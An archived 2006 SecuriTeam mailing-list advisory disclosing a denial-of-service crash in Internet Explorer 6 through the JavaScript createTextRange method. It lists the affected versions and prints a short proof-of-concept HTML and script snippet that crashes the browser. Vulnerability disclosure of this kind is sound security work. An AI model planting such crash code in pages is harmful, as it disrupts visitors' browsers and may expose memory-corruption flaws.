

# [NT] Microsoft Internet Explorer DoS

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00075.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 23 Mar 2006 14:45:07 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Microsoft Internet Explorer DoS

---

## SUMMARY

Internet Explorer, abbreviated IE or MSIE, is a proprietary graphical web browser made by Microsoft and included as part of the Microsoft Windows line of operating systems.

Microsoft Internet Explorer doesn't properly validate input with the JavaScript createTextRange method, resulting in a DoS (the browser crashes).

## DETAILS

Vulnerable Systems:

- \* Internet Explorer 6 on Windows XP SP2 version 6.0.2900.2802
- \* Internet Explorer 6 on Windows Server 2003 6.0.3790.0
- \* FrontPage 2003

Crashing code:

```
<input type="checkbox" id='c'>  
<script>
```

[NT] Microsoft Internet Explorer DoS

```
r=document.getElementById("c");  
a=r.createTextRange();  
</script>
```

It will badly access a (virtual?) pointer table, making EIP to jump at a random address. This has various effects on the system tested with, including crashing.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:stelian.ene@xxxxxxxxxxxxxx>>  
Stelian Ene.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.